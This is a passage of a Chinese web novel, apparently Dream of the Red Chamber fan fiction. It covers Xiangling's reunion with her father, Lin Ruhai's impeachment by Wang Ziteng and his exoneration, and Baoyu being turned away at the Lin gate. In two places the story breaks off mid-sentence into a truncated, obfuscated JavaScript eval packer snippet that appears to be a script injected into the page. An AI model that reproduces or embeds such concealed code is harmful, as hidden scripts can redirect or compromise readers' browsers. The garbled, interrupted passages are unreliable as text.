甄士隐身子一震,看向黛玉。 “我早看出来了。”黛玉微笑,“先生看香菱的眼神,与旁人不同,那日先生教她写字,那般耐心,那般慈爱,绝非寻常师长,且先生方才情急之下还不忘嘱咐莫让香菱出府,是怕有人看出端倪罢?” 甄士隐眼眶红了,良久方道:“姑娘都知道了。” “先生莫怪。”黛玉道,“我并非有意窥探,只是见先生对香菱格外关爱,又常独自伤神便猜着了,前日便私自查了旧档,苏州甄家确有个女儿,三岁被拐,眉心有胭脂记,与香菱一般无二。” 甄士隐老泪纵横:“十六年了,我寻了她十六年……” “如今父女团聚,是喜事。”黛玉温声道,“先生该与香菱相认了。那孩子,也常梦魇,喊着‘爹爹’‘娘亲’。她心里,定也念着家人。” 长生道:“我去叫香菱来。” 不多时,香菱来了。 她不知何事,见甄士隐泪流满面,又见黛玉神色郑重,心中不安:“姑娘,少爷,这是……” 黛玉拉她到甄士隐面前,轻声道:“香菱,这位甄先生,便是你的生身父亲。” 香菱如遭雷击,怔怔看着甄士隐,甄士隐颤抖着手从怀中取出一块旧帕子,已洗得发白,隐约还可见熟悉的针脚织处英莲二字。 “英莲,我的英莲,”甄士隐哽咽道不断重复这两个字,终于能光明正大呼唤女儿名讳。 香菱看着那帕子,脑中忽然闪过模糊的画面:一个温柔的妇人抱着她哼着歌,一个清瘦的男子教她认字,还有元宵节的灯会也亦然灿烂。 “爹,”她喃喃道,眼泪夺眶而出,“你是我爹?” “是,是爹,”甄士隐抱住女儿,放声痛哭,“爹对不住你,爹没护好你。” 父女二人相拥而泣,黛玉、长生在一旁看着,也红了眼眶。紫鹃、雪雁几个丫鬟,都悄悄抹泪。 哭了许久,香菱方止住泪,抬头看黛玉:“姑娘……你早知道了?” 黛玉点头:“早猜着了,只是不敢确定,如今既确认了就该让你们相认。香菱,你本名甄英莲,是苏州乡绅甄士隐之女,三岁那年元宵,被人拐走,流落至此,这些年,你父亲四处寻你,不曾放弃。” 香菱又哭:“爹,女儿不孝,让爹受苦了。” “是爹没用,是爹没护好你,”甄士隐摩挲着女儿的脸,“这些年,你受苦了……” 黛玉道:“既相认了,你日后有何打算?是随先生去,还是……” “我不走,”香菱摇头,跪在黛玉面前,“姑娘待我如妹,教我读书识字,给我安身之所。香菱愿终身伺候姑娘,以报大恩。” 黛玉扶起她:“说什么傻话,你既与父亲团聚便该好生过日子,先生如今在府中,你们父女在一处,岂不好?” 甄士隐也道:“英莲,林姑娘待你恩重如山,你要好生报答。为父能在有生之年找到你已心满意足,日后咱们父女能时常见面便够了。” 香菱重重点头,又向黛玉磕头:“姑娘大恩,英莲没齿难忘。” “快起来。”黛玉扶她,“今日是喜日,莫要哭了,紫鹃,去备些酒菜,咱们庆贺庆贺。” “是。” 夜里,长生在书房对黛玉道:“姐姐今日一举两得,既破了王家的局,又成全了甄先生父女,这份心智胸襟,弟弟佩服。” 黛玉摇头:“我不过是顺势而为,倒是你,与柳湘莲何时这般熟了?” “柳兄是性情中人,虽出身勋贵,却不屑与那些纨绔为伍,我与他论过几次诗,颇为投契,”长生道,“今日他能来,确是意外之喜。” 黛玉道,“此人心思深沉,万事留个心眼。” 长生也不反驳,点头,“姐姐放心,我有分寸。” 林长生没有提及所谓论诗惺惺相惜实则是拿着诗集互殴,打得有来有回才正式进一步结识,读书人打架怎么叫互殴,上不了台面的事自然由阴暗地方去了。 姐弟二人又说笑片刻,方各自歇息。 这一夜,林府许多人无眠,各怀心思,甄士隐与香菱在竹风轩说话,父女二人十六年未见,有说不完的话。香菱说起这些年的经历,甄士隐听得泪流满面,甄士隐说起这些年的寻找,香菱也泣不成声。 而王家那边,王子腾拿着那本假账册,冷笑连连:“林如海啊林如海,你最大的倚仗如今在我手中,看你还能嚣张几时!” 32.秋声赋 晨起时窗上结了一层薄霜,院中草木皆染了白,黛玉起身,紫鹃服侍她梳洗,又添了件藕荷色夹袄。 香菱端着燕窝粥进来,眼圈微红,显是昨夜又哭过。 “姑娘用些粥罢,甄先生一早起来熬的,”香菱低声道,自相认后,她仍唤黛玉姑娘,待甄士隐多了几分亲近自然。 黛玉接过粥碗,见香菱神色,便道:“又与你父亲说话了?” “是,”香菱点头,“父亲说,等过了这阵风头,想带我去苏州,给娘亲上坟。” “该当的,”黛玉温声道,“你娘若知你平安,定会欣慰。” 正说着,长生来了,他今日穿着靛青绸袍,神色凝重,黛玉见他这般,便知有事。 “父亲一早被召入宫了,”长生道,“圣上要问漕运的事。” 黛玉心一紧:“可是王家那边……” “不知,”长生摇头,“昨日柳湘莲来,说王子腾这几日频频入宫似在活动,父亲此番入宫怕是与此有关。” 姐弟二人正说着,外头林忠通报:“少爷,姑娘,镇国公府牛小姐来了,说有急事。” 黛玉与长生对视一眼,牛萱自那日送信后,再未登门,如今登门恰逢其时。 “请到花厅。” 牛萱眼圈微红,一见黛玉,便急道:“出事了!” “牛小姐莫急,坐下慢慢说。” 牛萱却不坐,只道:“昨日我父亲与王子腾大吵一架,王子腾逼我父亲联名上奏,参林大人贪墨漕银。我父亲不允,王子腾便威胁,说要抖出我兄长在军中那些事……” 她说着,眼泪掉下来,“我兄长不成器,在军中确有不是,若真抖出来,我兄长的前程便毁了,父亲被逼无奈,只得先口头应了。” 长生脸色一沉,联名上奏,先前牛萱通风报信说九月大朝会有王子腾发难,林家周转提防却没想到唯独忘了联名上奏这种方式,这是要硬生生耗死。 “就就在今日大朝,”牛萱泣道,“我偷听到他们说话便连夜抄了奏折草稿,” 她从袖中取出一纸文书,双手递上。 长生接过,展开细看,奏折上罗列林如海罪十条: 贪墨漕银、任人唯亲、纵容家奴、结交内侍……条条都是杀头的罪,下头已有了王子腾,贾政的署名,空着一处,是留给牛继宗的。 “好毒的计,”长生冷笑,“这是要置父亲于死地。” 黛玉接过奏折,看了一遍,道:“这奏折是王子腾亲笔?” “是,”牛萱点头,“我认得他的字。” 黛玉沉思片刻,对长生道:“你来看,这奏折上有一条:‘林如海私通盐商,收受盐商王有才贿银三万两,为其子王彪谋取军职。’” 长生看去,果然有这一条。 他心中一动:“姐姐是说……” “王子腾要参父亲私通盐商,收受贿银。”黛玉缓缓道,“可那盐商王有才,与王彪是同族,都是王家人。父亲若私通盐商,收受贿银,那王子腾……又算什么?” 长生眼睛一亮:“姐姐是说,反将一军?” “正是,”黛玉道,“咱们手里有那本真账册,上头记着王彪与鞑靼交易的事,若在朝堂上,王子腾参父亲私通盐商,咱们便抛出账册,说他王子腾通敌卖国,届时看圣上信谁。” “可那账册?” “账册是真的,咱们怕什么?”黛玉神色坚定,“只是要选对时机,要在王子腾发难之前一击致命。” 牛萱听得心惊:“林姑娘,这般太过凶险,若圣上不信。” “圣上会信的,”长生道,“父亲在扬州清正廉明,王子腾那些勾当,圣上未必不知,只是苦无证据,如今咱们有证据,圣上定会彻查。” 正说着,外头传来急促的脚步声,林忠进来:“少爷,姑娘,不好了!老爷,老爷被押入都察院了!” “什么?”姐弟二人霍然起身。 “说是有人参老爷贪墨,圣上震怒,命都察院收押候审,”林忠老泪纵横,“沈大人派人来传话,让少爷姑娘莫慌,他在斡旋。” 长生脸色煞白,身子晃了晃,黛玉扶住他,自己也在抖,她强自镇定,对林忠道:“忠伯,去备车,我要去都察院。” “姑娘,去不得啊!”林忠急道,“都察院那地方,岂是姑娘能去的?” “去得也要去,去不得也要去。”黛玉声音发颤,“父亲蒙冤,我做女儿的,岂能坐视?” 长生拉住她:“姐姐,我去,且不说姐姐体弱,不便抛头露面,更重要的是姐姐智谋不逊于我,若我一去不回,家里还有你在照应” “都这时候了,还讲这些虚礼?”黛玉眼中含泪,“长生,咱们一起去,父亲教咱们读书明理,不是让咱们遇事退缩的。” 姐弟二人正要出门,甄士隐来了,他显然已得消息,神色凝重:“公子,姑娘,去不得。” “先生,父亲他……” “老朽知道,”甄士隐道,“可你们这般贸然去,不但见不到林大人,反会落人口实,王子腾既敢发难,定在都察院布了眼线,你们去,便是自投罗网。” “那,那该如何?”黛玉急道。 甄士隐:“为今之计,只有一条路,面圣。” “面圣?” “是,”甄士隐道,“林大人是朝廷重臣,无圣旨,都察院不敢擅押。定是圣上听了谗言,一时震怒。你们若能面圣陈情,或可转圜。” 长生苦笑:“我们如何能面圣?” “有一个人能,”甄士隐道,“柳湘莲。” “柳兄?” “是,”甄士隐点头,“柳湘莲的姑母是宫中柳嫔,虽不得宠,但能递话,你们去求柳湘莲,让他姑母在圣上面前美言几句,或有机会。” 长生与黛玉对视一眼,这确是条路,问题是柳湘莲肯帮么?他虽是朋友,可这等事,牵涉太大。 “我去求他。”长生道。 “我与你同去。”黛玉道。 甄士隐摇头:“姑娘不宜去,公子一人去便好,说话也便宜。” 长生点头:“好,我这就去。” 正要走,外头又有人来报,柳湘莲来了。 真是说曹操,曹操到,长生忙迎出去,见柳湘莲一身青衫,神色匆匆。 “柳兄,你来得正好,我正要去寻你。” 柳湘莲摆手:“我都知道了,林大人的事,我已听说了,我今日来便是为此事。” “柳兄……” “长话短说。”柳湘莲低声道,“我姑母昨夜侍寝,听圣上提起林大人,言语间确有怒意,但圣上言下之意是不信王子腾,如今关键,在那本账册。” “账册在我处。”长生道。 “好。”柳湘莲点头,“圣上最恨臣子结党营私、贪墨渎职,王子腾参林大人那些罪,若查实,林大人难逃一死,可若林大人能反证王子腾通敌,圣上定会彻查。” “我明白。”长生道,“只是如何将账册呈给圣上?” “这便是难处。”柳湘莲叹道,“都察院如今是王子腾的人把持,账册若经他们手,怕是到不了圣上面前。为今之计,只有等三司会审时,当堂呈上。” “可父亲已被收押,如何当堂呈上?” 柳湘莲沉吟片刻:“或许可以从贾府入手。” “贾府?” “是。”柳湘莲道,“贾政与王子腾联名上奏,可贾政那人,我了解,胆小怕事,若能从他身上打开缺口,或可破局。” 长生心中一动,贾政确是胆小,且贾府如今自身难保,若许以好处,或可反水。 “我明白了,”长生拱手,“多谢柳兄提点。” “林兄客气。”柳湘莲道,“林大人是清官,我不能坐视他被诬,若有需要,尽管开口。” 送走柳湘莲,长生回到书房,与黛玉、甄士隐商议。 “从贾府入手,确是个法子,”甄士隐道,“贾政如今是惊弓之鸟,若知王子腾要倒,定会自保。” “只是如何让他知?”黛玉蹙眉,“咱们与贾府,已无往来。” 长生沉思良久,道:“有个人,或可说动贾政。” “谁?” “贾琏。” 黛玉恍然,贾琏是贾府长孙,虽不掌实权,却能在贾政面前说上话,近来颇有话语权,且他前次来,对父亲态度恭谨,似有结交之意。 “只是如何让贾琏信咱们?”黛玉道,“他毕竟是贾家人。” “利害,”长生没提及贾琏与父亲私底下关系,“贾琏是聪明人,知道贾府如今处境,若王子腾倒了,贾府或可喘息,若王子腾不倒,贾府必受牵连。这道理,他懂。” “那便试试,”黛玉道,“我让紫鹃去递帖子,请贾琏过府一叙。” “不,”长生摇头,“我去荣国府找他,这般显得郑重。” “可你……” “姐姐放心,我有分寸。” 长生换了身衣裳,便往荣国府去,到了西角门,门房见是他,吃了一惊,忙进去通报。 不多时,贾琏亲自迎出。 “长生表弟,你怎么来了?”贾琏神色复杂,林家与贾府已撕破脸,长生此时登门,定有要事。 “琏二哥哥,小弟有事相求。”长生拱手。 贾琏忙道:“里面说话。” 引至书房,屏退左右,贾琏方道:“表弟是为姑父的事来的罢?” “正是,”长生也不绕弯,“王子腾参我父亲,琏二哥哥可知?” 贾琏点头,面露愧色:“不瞒表弟,我二叔也在奏折上署了名,我劝过,可他不听。” “小弟明白,”长生道,“今日来不是兴师问罪,是给琏二哥哥,给贾府,指条生路。” 贾琏一怔:“表弟请讲。” “王子腾要倒了,”长生一字一句,“他通敌卖国,证据确凿圣上已知,不日便要查办,琏二哥哥若此时与他切割,或可保全贾府,若执迷不悟,便是抄家灭族之祸。” 贾琏脸色煞白:“表弟,这话可不能乱说!” “小弟岂敢乱说?”长生从袖中取出一页纸,是那账册的抄本,只抄了王彪与鞑靼交易那一条,“琏二哥哥请看。” 贾琏接过,只看一眼,便冷汗涔涔:“这,这是……” “这是真账册上的,”长生道,“真账册我已收好,不日便要呈给圣上,届时王子腾必倒,琏二哥哥想想,贾府与王家是姻亲,这些年往来密切,一旦王子腾事败,贾府能撇清么?” 贾琏跌坐椅中,面如死灰,他知道长生说的不假,贾府这些年,靠着王家做了多少事,他虽不全知,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,一挥手,官兵便要往里冲。 长生挡在门前,厉声道:“慢着!家父是朝廷二品大员,便是要搜府,也需三法司公文,北镇抚司虽有权却无权搜查朝廷大员府邸!大人若无圣旨,请回!” 那千户一怔,没料到这八岁孩童竟这般硬气,他冷笑道:“黄口小儿,也敢阻挠锦衣卫办案?拿下!” 几个锦衣卫上前便要拿人。黛玉急道:“住手!” 她走到长生身边,对那千户道:“这位大人,林家是清白人家,从不作奸犯科,大人要搜府,可以,但需说清缘由,若说不出,便是私闯民宅,按律当斩!” 那千户见她不过十二三岁年纪,却言辞犀利,心中暗惊,但上头有命,他不得不从。 “本官奉北镇抚司之命,搜查通敌罪证。让开,否则以同谋论处!” “通敌?”黛玉冷笑,“家父在扬州四年,清正廉明,天下皆知。大人说通敌,可有证据?” “证据自然有。”那千户道,“等搜出来,你便知道了。搜!” 官兵又要往里冲。忽然,远处传来一声喝:“住手!” 众人回头,见一队人马疾驰而来,为首的是个太监,正是御前太监夏守忠。 夏守忠下马,走到那千户面前,冷声道:“张千户你好大的威风,谁让你来林府搜检的?” 那张千户脸色一变:“夏公公,下官奉北镇抚司之命……” “北镇抚司?”夏守忠冷笑,“北镇抚司何时有权搜查二品大员府邸了?咱家怎么不知?” 他从袖中取出一卷黄绫,“圣上口谕:林如海一案,着三法司会审,北镇抚司不得插手,张千户,你抗旨不遵,该当何罪?” 张千户扑通跪倒:“下官、下官不知啊!” “不知?”夏守忠喝道,“滚回去,告诉你们指挥使,再敢来林府生事,咱家便去圣上面前,参他个僭越之罪!” “是,是……”张千户连滚爬起,带着人匆匆走了。 夏守忠这才转向长生、黛玉,温声道:“林公子,林姑娘,受惊了,圣上已知今日之事,特让咱家来传话,林家忠心,圣上深知,林大人之事,圣上自有圣裁,让你们莫要担忧。” 长生、黛玉跪倒:“谢圣上隆恩。” 夏守忠扶起他们,低声道:“圣上让咱家告诉你们,那本账册好生收着,大朝自有用处。” 长生动容:“公公……” “不必多说,”夏守忠摆手,“咱家还要回宫复命,你们保重,”说罢,上马而去。 送走夏守忠,姐弟二人回到书房,心中犹自后怕,方才若夏守忠晚来一步,林家怕是要遭殃。 “圣上这是在保咱们。”黛玉轻声道。 “是,”长生点头,“圣上要借父亲的手,铲除王子腾,所以不能让他出事。” “那三日后大朝……” 长生一脸复杂,脑子计谋混杂一时间理不清,只得道,“姐姐,这三日,咱们要万分小心,王子腾一击不成,定有后手。” “我明白 ”黛玉道,“从今日起府中加强戒备,出入严查,你莫要单独出门。” “姐姐也是。” 33.不如蠢人灵机一动 荣国府梨香院内,贾政枯坐书房,面前摆着一纸文书,正是前日与王子腾联名的奏折抄本,烛火摇曳,映着他苍白的面容。 贾琏侍立一旁,大气不敢出。 “你当真,”贾政声音发颤,“当真亲眼见了那账册?” “侄儿亲眼所见,”贾琏低声道,“上头记着王彪与鞑靼交易军械,粮草之事,时间、数目、经手人,一清二楚,长生表弟说了,这账册一旦呈上,王家便是抄家灭族之祸。” 贾政闭上眼,额上沁出冷汗。 他何尝不知这事的凶险?那日王子腾来,威逼利诱,他本不愿署名,可王子腾一句“贵妃在宫中,还需王、贾两家扶持”,便让他软了膝盖,如今想来,当真是糊涂! “二叔,如今后悔还来得及,”贾琏劝道,“长生表弟说了,只要咱们翻供,说是受王子腾胁迫,再将王家与咱们往来的账目交出去,林家便可在圣上面前为咱们说话,否则……” “否则如何?” “否则,一旦王家事发,咱们贾府便是同谋,”贾琏咬牙,“到那时,别说贵妃娘娘,便是老太太、太太,还有府里上下几百口人……” 贾政浑身一抖,猛地睁眼:“别说了!” 他站起身,在房中来回踱步,良久,他停下脚步,颓然道:“罢了,罢了!你去回长生,就说、就说我应了。” 贾琏心中一松:“那账目……” “在我书房暗格里,”贾政苦笑,“这些年王家送来的东西,我不愿收也不敢收,可都记着呢,你拿去,交给长生罢。” “是。”贾琏转身要走。 “等等。”贾政叫住他,“这事莫要让老太太知道,她年纪大了,经不起这般惊吓。” “侄儿明白。” 贾琏取了账目,匆匆往林府去,此时已是戌时三刻,街上行人稀少,他心中有事,走得急,不妨拐角处撞上一人。 “哎哟!”那人跌倒在地。 贾琏定睛一看,竟是宝玉的贴身小厮茗烟。 “茗烟?你这般晚了,在外头做什么?” 茗烟爬起身,支吾道:“二爷,是二爷让小的去买些胭脂水粉。” 贾琏皱眉,宝玉这痴性,如今府里这般光景,他还有心思买胭脂水粉?可也懒得管,只道:“快回去罢,莫在外头闲逛。” “是。”茗烟应了声,匆匆走了。 贾琏不知,茗烟这胭脂水粉是宝玉要送去林府的,这几日,宝玉听说林、贾两家要合作 误以为要重修旧好,心中欢喜,以为又能见着黛玉了,他哪里知道,这重修旧好背后是怎样一番腥风血雨? 第二日一早,宝玉果然来了林府。 他特意换了身新做的月白箭袖,系着五色丝绦,手里捧着一个锦盒,里头是上好的苏州胭脂、扬州鹅黛,还有一对羊脂玉镯,这些都是他精挑细选的。 到了林府门前,却见大门紧闭。 宝玉敲了门,门房开了一条缝,见是他,面色冷淡:“宝二爷,您怎么来了?” “我来瞧瞧林妹妹,”宝玉笑道,“劳烦通传一声。” 门房为难道:“宝二爷,对不住,我家姑娘不见客。” 宝玉一怔:“不见客?为何?前儿薛大姐姐不是来了么?还有史大妹妹,我都见着了。” “那是……”门房语塞,“总之,姑娘今日身子不适,不见客。宝二爷请回罢。” 宝玉心中不悦,他这几日听府里下人说,薛宝钗、史湘云都来过林府,还与黛玉说笑。怎么偏他来了,便不见?莫不是林妹妹还在生他的气?可那都是五六年前的事了,那时他们都还是孩子…… “你去告诉林妹妹,就说我,就说我有话对她说。”宝玉恳求道,“就说我知错了,当年不该……” “宝二爷!”门房打断他,“您别为难小的了,姑娘真不见客。” 正说着,府内传来脚步声,宝玉心中一喜,以为是黛玉来了,却见出来的竟是紫鹃。 “紫鹃姐姐!”宝玉忙上前,“林妹妹她……” 紫鹃见是宝玉,神色复杂,她欠身道:“宝二爷,姑娘今日确实不便见客,您请回罢。” “我不信!”宝玉急了,“前儿那么多人可以进来怎么偏我来就不便?紫鹃,你去告诉林妹妹,就说我我在这儿等她,等到她肯见我为止。” 紫鹃叹了口气:“宝二爷,您这又是何苦?如今府里是多事之秋,姑娘和少爷都忙着呢,哪有心思见客?您还是……” “多事之秋?”宝玉不解,“什么多事之秋?不是要重修旧好么?既是重修旧好,为何不见我?难道,难道林妹妹还在怪我当年摔玉的事?” 紫鹃哭笑不得,这都哪跟哪啊!宝二爷还是这般,只活在自己的世界里,外头天翻地覆了,他还惦记着那些小儿女的情愫。 “宝二爷,不是这个缘故。”紫鹃耐着性子,“实在是姑娘如今不便见您,您请回罢,改日,改日再来。” “改日是哪日?”宝玉不依不饶,“你给个准话,我明日再来。” 紫鹃无奈,正不知如何作答,忽听门内传来林长生的声音:“紫鹃,谁在外头?” 紫鹃忙道:“少爷,是宝二爷。” 林长生走出来,他今日穿着靛青直裰,腰间系着玉佩,神色冷峻,见了宝玉,只淡淡一揖:“宝二爷。” 宝玉见他这般冷淡,心中更是不悦,可想到他是黛玉的弟弟,还是堆起笑:“表弟,我来瞧瞧林妹妹。” “家姐身子不适,不见客,”长生语气冷淡,“宝二爷请回。” “我不信!”宝玉道,“前儿薛大姐姐来,史大妹妹来,怎么偏我来就不适?长生表弟,你让我进去,我就跟林妹妹说几句话,说完就走。” 长生眉头一皱,这贾宝玉还是这般不知轻重!如今林府被围,父亲扑朔,朝中风波诡谲,他竟还惦记着这些儿女情长?当真是……榆木脑袋! “宝二爷,”长生声音沉了下来,“我说了,家姐不见客,你若再纠缠,休怪我不客气。” 宝玉也恼了:“林长生!你……你这是什么意思?难道我贾宝玉便这般惹人厌?五六年前的事,你们还记着?那时我们都小,不懂事,如今都大了,为何还要这般计较?” 长生气极反笑:“宝二爷,你当真是不知世事,你以为今日我来见你,是为了五六年前那些鸡毛蒜皮?你以为家姐不见你,是因为那些小儿女的嫌隙?你,你当真是……” 他深吸一口气,压下怒火:“罢了,与你说这些,也是对牛弹琴。紫鹃,送客!” 说罢,转身便走。 宝玉还要追,紫鹃拦住他:“宝二爷,您请回罢,少爷今日心情不好,您别惹他。” “他心情不好,我便心情好了?”宝玉眼圈红了,“我只想见林妹妹一面,怎么这般难?五六年前,我在她院外站了一夜,她不见我,如今,我来了,她还是不见我。紫鹃,你说,我到底做错了什么?” 紫鹃见他这般,心中也软了,可她是林家的人,得为姑娘着想,宝二爷这般痴性,若见了姑娘,不定说出什么话来,况且如今正是要紧关头,可不能出岔子。 “宝二爷,您没做错什么。”紫鹃轻声道,“只是时候不对,您先回去,等过些日子,姑娘心情好了,您再来,可好?” “过些日子是哪日?”宝玉哽咽道,“你总说等,等,等,我都等了五六年了!紫鹃,你去告诉林妹妹,就说我,我……” 他话未说完,忽见一辆马车驶来,停在林府门前,车帘掀起,下来一人,竟是薛宝钗。 薛宝钗今日穿着藕荷色袄儿,月白裙子,梳着简单的髻,只簪一支玉钗,她见了宝玉,微微一怔:“宝兄弟,你怎么在这儿?” 宝玉见是她,心中更不是滋味,薛宝钗能进,他不能进,这是什么道理? “宝姐姐,你来瞧林妹妹?”他问。 “是 ”薛宝钗点头,“林妹妹前儿说身子不适,我带了支人参来,宝兄弟,你也是来瞧她的?” “我……”宝玉苦笑,“我想瞧,可林妹妹不见我。” 薛宝钗何等聪明,一看这情形,便知端倪。 她温声道:“宝兄弟,林妹妹这几日确实身子不爽利,不见客也是有的,你先回去,等过些日子再来。” 又是这句话!宝玉心中气苦,可当着薛宝钗的面,不好发作,只得道:“那……宝姐姐替我跟林妹妹问好。” “好。”薛宝钗点头。 宝玉这才一步三回头地走了。 薛宝钗目送他离去,轻轻叹了口气。 紫鹃迎上来:“薛姑娘,您来了。” “林妹妹可好些了?”薛宝钗问。 “好些了,”紫鹃引她进去,“姑娘在屋里呢。” 进了内院,黛玉正在书房看账册,见薛宝钗来,起身相迎:“宝姐姐来了。” “听说你身子不适,我来瞧瞧,”薛宝钗将人参递上,“这是支老参,你让丫头熬了汤喝。” 黛玉接过:“多谢宝姐姐。”又让紫鹃上茶。 二人坐下,薛宝钗见黛玉神色憔悴,关切道:“林妹妹,你可得保重身子,林大人的事,我都听说了你莫要太过忧心,圣上是明君,定会还林大人清白的。” 黛玉苦笑:“但愿如此,”又问,“宝姐姐,你今日来不只是为送参罢?” 薛宝钗点头:“是,我听说贾家二老爷翻供了?” “是,”黛玉也不瞒她,“昨儿琏二哥哥送来了王家与贾家往来的账目,有了这些,王子腾便难逃罪责。” 薛宝钗沉默片刻,她与王家是表亲,王子腾是她舅舅,可这些年来,王家所作所为,她都看在眼里,如今怕是气数尽了。 “林妹妹,我今日来,是想告诉你一件事”薛宝钗低声道,“我舅舅昨日进宫了。” 黛玉心中一凛:“进宫?做什么?” “不知。”薛宝钗摇头,“但我母亲说,舅舅回来的时候神色慌张,一个人在书房坐到半夜,今早又急匆匆出去了,至今未归。” 黛玉与长生对视一眼,王子腾这般举动,定是要做最后一搏了。 “宝姐姐,多谢你告诉我,”黛玉握住她的手,“这事牵涉太大,你……” “我明白。”薛宝钗苦笑,“我虽姓薛,可这些年,薛家与王家早已不是一路,母亲常说,舅舅行事太过,早晚要出事,如今怕是应验了。” 林黛玉抬眼看了一下,紧接着垂眸,反正她不信。 正说着,外头传来急促的脚步声。林忠匆匆进来:“姑娘,少爷,宫里来人了!说……说圣上召见!” “召见?”长生霍然起身,“召见谁?” “召见…召见姑娘和少爷,”林忠喘着气,“传旨的公公说,圣上要在养心殿见你们,即刻进宫!” 黛玉与长生对视一眼,都在对方眼中看到了惊疑,圣上召见他们姐弟?这是为何? 薛宝钗忙道:“林妹妹,长生,你们快去罢,圣上召见,定是有要事。” “可是……”黛玉犹豫。 “别可是了,”薛宝钗道,“我在这儿等你消息。快去罢。” 黛玉与长生换了衣裳,匆匆随太监进宫,一路上,二人心中忐忑,不知圣意如何。 到了养心殿,太监引他们进去。 殿内烛火通明,圣上穿着常服,坐在御案后,下首站着两人,一个是林如海,另一个竟是王子腾! 林如海憔悴,见到儿女,眼中满是欣慰,王子腾则面色灰败,跪在地上,瑟瑟发抖。 “臣女林黛玉,臣林长生,叩见圣上。”姐弟二人跪倒。 “平身。”圣上的声音听不出喜怒,“林黛玉,林长生,你们可知朕为何召你们来?” “臣女不知。”黛玉低声道。 圣上指了指御案上的一本册子:“这本账册,可是你们的?” 黛玉抬眼看去,正是那本真账册。 “是,”长生答道,“是臣与家姐在扬州时所得。” “好。”圣上点头,“王子腾,你可认得这本账册?” 王子腾磕头如捣蒜:“臣、臣不认得!定是林如海父子伪造,诬陷臣啊圣上!” “诬陷?”圣上冷笑,“那这上头王彪的笔迹,也是伪造的?还有这些印信,暗记,都是伪造的?” 王子腾浑身颤抖,说不出话。 圣上又看向林如海:“林如海,你来说说,这账册上的事,可是真的?” 林如海躬身道:“回圣上,账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正说着,外头又有人来报,贾琏来了。 贾琏是来道喜的,见林如海已出狱,忙拱手:“恭喜姑父沉冤得雪!” 林如海点头:“琏儿,这次多谢你了。” “姑父客气,”贾琏道,“都是一家人,应该的。” “一家人…”林如海喃喃,忽问,“宝玉今日可来了?” 贾琏一怔:“来了,可……可没让进。” 林如海看向黛玉:“玉儿,你为何不见他?” 黛玉垂下眼:“父亲,如今是多事之秋,女儿不便见客。” 等贾琏走后,林如海才接话。 “不便见客,却见了其他人?”林如海哑然失笑,摇了摇头:“下次若是不欢喜,直接让小斯撵走便可,事情做得决断,不留余地,才让人彻底死心罢。” 林黛玉不语,并非欢喜与否,只是不想面对,贾宝玉那痴性她懂,正因懂才知不能见,见了便又是一场风波,有些人终其一生见过一次就足够了,况且弟弟从小就告诉自己,远离怅鬼。 正说着外头传来喧哗声,紫鹃面色古怪的进来,:“姑娘,少爷,宝二爷又来了,在门外哭呢。” 黛玉心中烦躁,长生已起身:“我去看看。” 到了门前,果见宝玉坐在台阶上,抱膝痛哭。见长生出来,他抬起头,泪眼朦胧:“长生表弟,你……你让我见见林妹妹罢。我……我就跟她说一句话,一句就好。” 长生看着他,心中五味杂陈,这贾宝玉当真是个痴人,可这痴在这风急浪高的时节,显得那般不合时宜。 “宝二爷,”长生轻声道,“家姐说了,今日不见客,你请回罢。” “我不回!”宝玉哭道,“你们都说她身子不适,可我知道,她是生我的气。长生表弟,你去告诉她,就说我知错了,当年不该摔玉,不该说那些混账话,我……我这些年,日日想着她,夜夜梦着她,你去告诉她,好不好?” 长生沉默良久,问:“宝二爷,你为何这般执着于家姐?你们不过儿时见过几面,为何念念不忘?” 宝玉一怔,喃喃道:“我、我也不知道,我只知道见不到她,心里便空落落的,见到了,便欢喜。这世间女子,我只觉她与众不同。” “与众不同,”长生苦笑,“宝二爷,你可知,这世间不只风花雪月,还有生死荣辱?家姐这些日子经历了什么?你可知林府险些遭了灭顶之灾?这些你可曾想过?” 宝玉呆住,他确实没想过,但是林妹妹不见他,他心中难受,至于其他的,他不懂,也不愿懂。 “宝二爷,你回去吧,”长生转身,“等你想明白了,再来。” 若是真心欢喜姐姐,又何必与一丫鬟试云雨,头回林如海拜访贾府时偶然看见贾宝玉与一众丫鬟在花园廊坊嬉戏,其中一个丫鬟与贾宝玉接触甚密,林如海眼神何其毒辣,一眼便看穿二人有关系,事后回到林府告诉林长生:此子顽劣,不配为良婿。 林如海若没告知这件事,林长生还以为贾宝玉改了性子,这些年暗中打探的消息都是贾宝玉如何上进,看来也是假的罢了。 于是林长生对贾宝玉无话可说,如今姐姐已经与贾府割席多年,前尘往事不想再过于追究,若是贾宝玉改了性子单论痴情,若姐姐有情,二人自然可以保媒,如今看来,贾宝玉死性不改罢了。 贾宝玉还是不服气,正准备说些什么惊世骇俗的话语,林长生终于忍不住了,猛的一转身,他想踹这个哭哭啼啼毫无作为的男人一脚,但是又硬生生止住了。 “贞洁是男人最好的礼物,可惜你脏了。” 大门缓缓关上,将宝玉的哭声隔在门外。 长生走回内院,见黛玉站在廊下,望着天边的阴云,知是姐姐听到了。 “姐姐……” “我听到了,”黛玉轻声道,“他还是那样。” “是,”长生点头,“还是那样。” 姐弟二人并肩站着,良久无言,比起终身大事,又或者原谅与否,这世间有比这些更重要的事, 比如家国,比如亲人,比如活下去。 34.女子不必婚嫁 林如海官复原职的旨意传遍京城,原先门庭冷落的林府又热闹起来,送帖的、送礼的、道贺的,络绎不绝。 林如海一概不见,只让林忠闭门谢客,言说大病初愈,需静养调理,又过一年。 这日午后,秋雨忽至,雨打芭蕉,淅淅沥沥,衬得庭院愈发清寂,林如海在书房看了一阵公文,觉得眼乏,便唤黛玉来下棋。 黛玉端了棋盘过来,父女二人在窗前对弈,雨声潺潺,棋子落盘声清脆,下了半局。 林如海忽道:“玉儿,你今年有十四了罢?” 